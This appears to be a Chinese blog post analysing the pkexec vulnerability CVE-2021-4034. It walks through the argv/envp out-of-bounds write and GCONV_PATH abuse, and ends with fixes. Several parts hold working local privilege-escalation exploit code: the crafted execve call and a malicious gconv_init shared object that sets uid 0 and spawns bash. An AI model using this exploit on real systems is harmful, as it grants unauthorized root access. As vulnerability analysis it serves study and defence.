CVE-2021-4034 pkexec再深入分析
1.漏洞編號
CVE-2021-4034
2.影響范圍
2021以前發行版
3.漏洞詳情
此漏洞exp利用流程上來說,可以分為兩個部分
1.設置惡意環境變量
2.通過惡意環境變量執行命令
3.1 設置惡意環境變量
pkexec 源碼地址
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
在533行,n被賦值為1
610行,存在越界讀取,我們執行pkexec的時候,不傳參數,argv數組只有默認的0下標,1是不存在
那么argv[1]是什么呢?
當我們執行一個程序時,內核會將我們的參數、環境字符串和指針(argv 和 envp)復制到新程序堆棧的末尾;如下所示:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
因為argv和envp指針在內存中是連續的,那么argv[1]實際上指向的是envp[0]
通過給argv[1] 賦值就能修改環境變量
在632行,調用了g_find_program_in_path函數
根據glib的源碼,這個函數是用來在PATH中搜索傳參的絕對路徑的,比如傳參id,返回是/usr/bin/id,然后在639行將返回值越界寫入了argv[1],也就是第一個環境變量
根據這個流程,我們使用如下代碼,可以做到設置惡意環境變量
shell創建文件夾 mkdir GCONV_PATH\=.,在目錄中創建test文件
char *a_argv[]={ NULL };
char *a_envp[]={
"test",
"PATH=GCONV_PATH=.",
NULL
};
execve("/usr/bin/pkexec", a_argv, a_envp);
經過g_find_program_in_path函數以后,在我們創建的畸形目錄中搜索到了test文件,此時envp[0]的的值為GCONV_PATH=./test
惡意環境變量完成,然后這里就有一個問題,我們費勁巴拉搞半天,就為了把GCONV_PATH設置到環境變量,為什么不直接通過execve函數把環境變量傳進入呢?
當時這里我也沒理解,后來看先知上的23R3F師傅的文章才搞懂了,linux 的動態連接器ld-linux-x86-64.so.2 會在特權程序執行的時候清除敏感環境變量。
我們可以測試一下,id為沒有賦予suid權限,成功輸出了hello。
pkexec有suid權限,LD_PRELOAD其實是沒有生效的。
我個人的理解就是,在linux里面定義的這些敏感環境變量,除非suid程序自己本身setenv了,否則外部是無效的
3.2通過惡意環境變量執行命令
走到670行,
用for遍歷environment_variables_to_save作key,去環境變量中取值
然后傳給函數validate_environment_variable,此函數是檢測shell是否合法的,需要通過這個函數來觸發關鍵函數g_printerrr
有兩種方法,傳環境變量SHELL=test,或者走第二個if,XAUTHORITY=..
g_printerr中間接調用了linux的iconv_open函數,調用鏈如下
strdup_convert() <- glib/gmessages.c:1126
g_convert_with_fallback() <- glib/gmessages.c:676
g_convert() <- glib/gconvert.c:972
open_converter() <- glib/gconvert.c:876
g_iconv_open() <- glib/gconvert.c:637
try_conversion() <- glib/gconvert.c:260
iconv_open() <- glib/gconvert.c:208
iconv_open函數會根據環境變量中的GCONV_PATH的目錄下的gconv-modules文件
文件內容如下
表示UTF-8轉換到LANYI編碼,需要用到lanyi.so,1表示表示轉換成本的數值。如果缺少該單詞,則假定成本為1,我們將惡意的lanyi.so放到當前目錄下,然后通過網上的一段demo來測試是否能正常加載so
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iconv.h>
int main(int argc, char **argv)
{
/* 目的編碼, TRANSLIT:遇到無法轉換的字符就找相近字符替換
* IGNORE :遇到無法轉換字符跳過*/
//char *encTo = "UNICODE//TRANSLIT";
setenv("GCONV_PATH", "./", 1);
char *encTo = "LANYI";
/* 源編碼 */
char *encFrom = "UTF-8";
/* 獲得轉換句柄
*@param encTo 目標編碼方式
*@param encFrom 源編碼方式
*
* */
iconv_t cd = iconv_open (encTo, encFrom);
if (cd == (iconv_t)-1)
{
perror ("iconv_open");
}
/* 需要轉換的字符串 */
char inbuf[1024] = "abcdef哈哈哈哈行";
size_t srclen = strlen (inbuf);
/* 打印需要轉換的字符串的長度 */
printf("srclen=%d\n", srclen);
/* 存放轉換后的字符串 */
size_t outlen = 1024;
char outbuf[outlen];
memset (outbuf, 0, outlen);
/* 由于iconv()函數會修改指針,所以要保存源指針 */
char *srcstart = inbuf;
char *tempoutbuf = outbuf;
/* 進行轉換
*@param cd iconv_open()產生的句柄
*@param srcstart 需要轉換的字符串
*@param srclen 存放還有多少字符沒有轉換
*@param tempoutbuf 存放轉換后的字符串
*@param outlen 存放轉換后,tempoutbuf剩余的空間
*
* */
size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen);
if (ret == -1)
{
perror ("iconv");
}
printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%d\n", inbuf, srclen, outbuf, outlen);
int i = 0;
for (i=0; i<strlen(outbuf); i++)
{
printf("%x\n", outbuf[i]);
}
/* 關閉句柄 */
iconv_close (cd);
return 0;
}
hello被成功執行,我的so沒有實現gonv_init函數,所以報錯了
exp:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(){
return;
}
void gconv_init() {
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
static char *a_argv[] = {"bash", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/bash", a_argv, a_envp);
exit(0);
}
編譯gcc -o lanyi.so -shared -fPIC lanyi.c
然后按照前面的流程,越界寫入環境變量即可,執行so文件
到這里還要一個問題,為什么漏洞發現者要選擇GCONV_PATH這個相對來說比較復制的變量,而不選擇LD_PRELOAD這個利用起來更簡單的變量呢?
是因為LD_PRELOAD定義的so文件,這個加載的過程是在程序執行前執行,而pkexec已經啟動了再設置變量是無效的。
那么就有了一個新問題,為什么php可以用過設置LD_PRELOAD來進行bypass_functions
當時因為被這個問題搞迷糊了,就問了一下p牛。是因為PHP在設置了LD_PRELOAD后,又fork了新進程(使用popen),此時父進程的環境變量會被新進程繼承,在這個階段LD_PRELOAD被利用了。所以如果PHP里不執行mail這類可以fork新進程的函數,也是不能利用LD_PRELOAD的。
3.3漏洞復現
4.漏洞修復
1.更新到polkit最新版本
2.取消pkexec的suid權限
CVE-2021-4034 pkexec再深入分析














浙公網安備 33010602011771號